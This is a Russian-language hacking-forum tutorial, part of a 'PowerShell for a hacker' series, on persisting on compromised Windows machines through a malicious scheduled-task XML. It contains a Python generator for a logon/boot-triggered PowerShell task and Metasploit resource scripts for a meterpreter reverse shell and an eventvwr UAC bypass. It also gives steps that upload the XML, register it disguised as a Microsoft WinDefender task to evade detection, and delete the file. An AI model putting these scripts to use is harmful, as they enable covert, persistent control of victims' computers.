Статья PowerShell для хакера (часть V ) [Закрепление в системе через schtasks и вредоносную XML)

Часть 5
Предыдущая часть
Следующая часть
Все части

ShowImage.jpg


Доброго времен суток колеги. Сегодня продолжим с вами использовать PowerShell для демонстрации компрометации Windows машин (от версии Windows 7 , где он предустановлен по умолчанию)

Сегодня конкретно нового об PowerShell мы не узнаем ,а просто используем пейлоад на нем, для закрепление в системе через

Одна из возможностей планировщика заданий - импорт задачи и параметры ее запуска с XML файла. В одной из своих статей ,где я делал обзор одной утилиты по обходу АВ , использовалась техника импорта XML в планировщик заданий.Но там что мне не понравилось, так это то что локально хранился бинарный файл,который может просто удалится или со временем быть обнаруженным антивирусами.
По этому я взял на вооружения эту технику и покажу вам сегодня авторский подход к ней, а именно :
  • как создавать такую вредоносную xml
  • как внедрить туда полезную нагрузку на PowerShell
  • как снизить шансы на обнаружения такой задачи в планировщике
  • как автоматизировать действия в Metasploit
DarkNode сказал(а):
Сразу же хочу обратить внимания что данный метод требует повышенных привилегий!! По этому для этих целей прекрасно подойдет техника описанная колегой @Vander в его статье про повышение привилегий

И так, давайте разберемся откуда ноги растут) Сперва давайте поймем с вами как получить такую XML. Такая XML получается путем експорта задачи из планировщика задачи. Так что давайте сначала создадим нашу задачу:

1.PNG


2.PNG


Выставим необходимые нам тригеры(условия когда будет запускаться наша задача)

3.PNG


Укажем действие которое будет выполнятся:

03.PNG

Затем жмакнем экспортировать:

02.PNG


Посмотрим на содержимое нашей XML,видим интересующие нас теги <Command> и <Arguments>:

04.PNG


В принципе можно удалить сразу же нашу задачу , что бы проверить как работает импорт задачи из командной строки:

6.PNG


Далее откроем командную строку,посмотрим справку команды schtasks /Create /?

7.PNG


Видим интересный нам параметр ,который позволяет импортировать задачу из XML файла. Проверяем командой:
schtasks /Create /XML codeby_demo.xml /TN тут_любое_имя_нашей_задачи:

05.PNG


Тут надеюсь понятно,теперь что бы не проделывать эти действия с импортом и експортом постоянно, я для удобства создал скрипт который будет брать за шаблон такую XML и изменять только передаваемые параметры для PowerShell:

9.PNG

[hidepl="1,3"]
Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-

command=raw_input("Введите ваши аргументы(параметры) команды PowerShell:\n")
def gen_xml(command):
    string="""<?xml version="1.0" encoding="UTF-16"?>
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
    <LogonTrigger>
     <Enabled>true</Enabled>
    </LogonTrigger>
    <BootTrigger>
    <Enabled>true</Enabled>
    </BootTrigger>
      </Triggers>
      <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
      </Settings>
      <Actions>
    <Exec>
    <Command>powershell.exe</Command>
    <Arguments>%s</Arguments>
    </Exec>
      </Actions>
    </Task>""" %(command)
    return string

with open("Security_Update.xml","w") as f:
    f.write(gen_xml(command))
    f.close
[/hidepl]
После его отработки создаться файл Security_Update.xml с нужной нам полезной нагрузкой.

Давайте теперь перейдем к фазе с метасплоитом.

Для начала хочу что бы вы научились автоматизировать вводимые команды через ресурс_файл(файл с командами которые мы последовательно вводим в консоли метасплоита)

Выглядит ресурс файл примерно так:
priv.rc сказал(а):
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 4444
exploit -j
10.PNG

Это полезно тогда ,когда мы часто вводим одни и те же команды в метасплоите при каждом запуске и т.д
И я использую это для удобвства.
Выполнить этот ресурс файл можно двумя способами:
  • При запуске метасплоита через параметр -r ( msfconsole -r web_del.rc)
  • И находясь в самом метасплоите командой resources (msf>resources /root/web_del.rc)
11.PNG


Теперь давайте сперва получим сессию метерпретора и подготовим скрипт для автоматического повышения привилегий и закрепление в системе через нашу вредоносную xml.
Сперва подготовим XML:
Генерируем саму команду для павершел и копируем передаваемые параметры:

12.PNG


Теперь создаем нашу вредоносную XML через наш скрипт:

14.PNG


Проверим:

15.PNG


Теперь подготовим скрипт для повышение привилегий:
Metasploit сказал(а):
use exploit/windows/local/bypassuac_eventvwr
set session 2
set payload windows/meterpreter/reverse_tcp
set LPORT 4488
set LHOST 192.168.0.103
set AutoRunScript multi_console_command -rc meter.rc
explot -j
set AutoRunScript multi_console_command -rc meter.rc -- указываем что нужно будет выполнить набор команд из ресурс файла meter.rc при успешной метерпретер сессии
содержание meter.rc:
meter.rc сказал(а):
cd %appdata%
mkdir Windows
cd Windows
upload Security_Update.xml
execute -i -f "schtasks /Create /XML Security_Update.xml /TN \\Microsoft\\Windows\\WinDefender"
rm Security_Update.xml
Думаю тут понятно все, создается папка в %appdata% Windows , в нее грузится наша XML , делается импорт и XML удаляется.
Хочу заметить что для скрытие от наблюдение пользователя я в качестве имени передал путь к папке где лежать задачи которые запускает операционная система Windows - это значительно уменьшит риск обнаружения.
На деле выглядит примерно так:

16.PNG


В результате чего получаем скрытую задачу в планировщике заданий:

upload_2017-1-7_19-17-57.png


Всем спасибо) Продолжение следует)



Предыдущая часть
Следующая часть
Все части
 
Последнее редактирование:
ошибочка, но только в windows, вообщем, при вводе
>SCHTASKS /Create /XML f.xml /TN q
получаю "ошибка: Вход в систему не произведен: имя пользователя или пароль не опознаны"
гуглил, но в гугле особо не подсказали как что делать. cmd открываю через администратора, от имени администратора. как я понял все дело в локальных политиках безопасности, но это не точно. может кто сталкивался и подскажет.
P.S. windows 7 ultimate
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!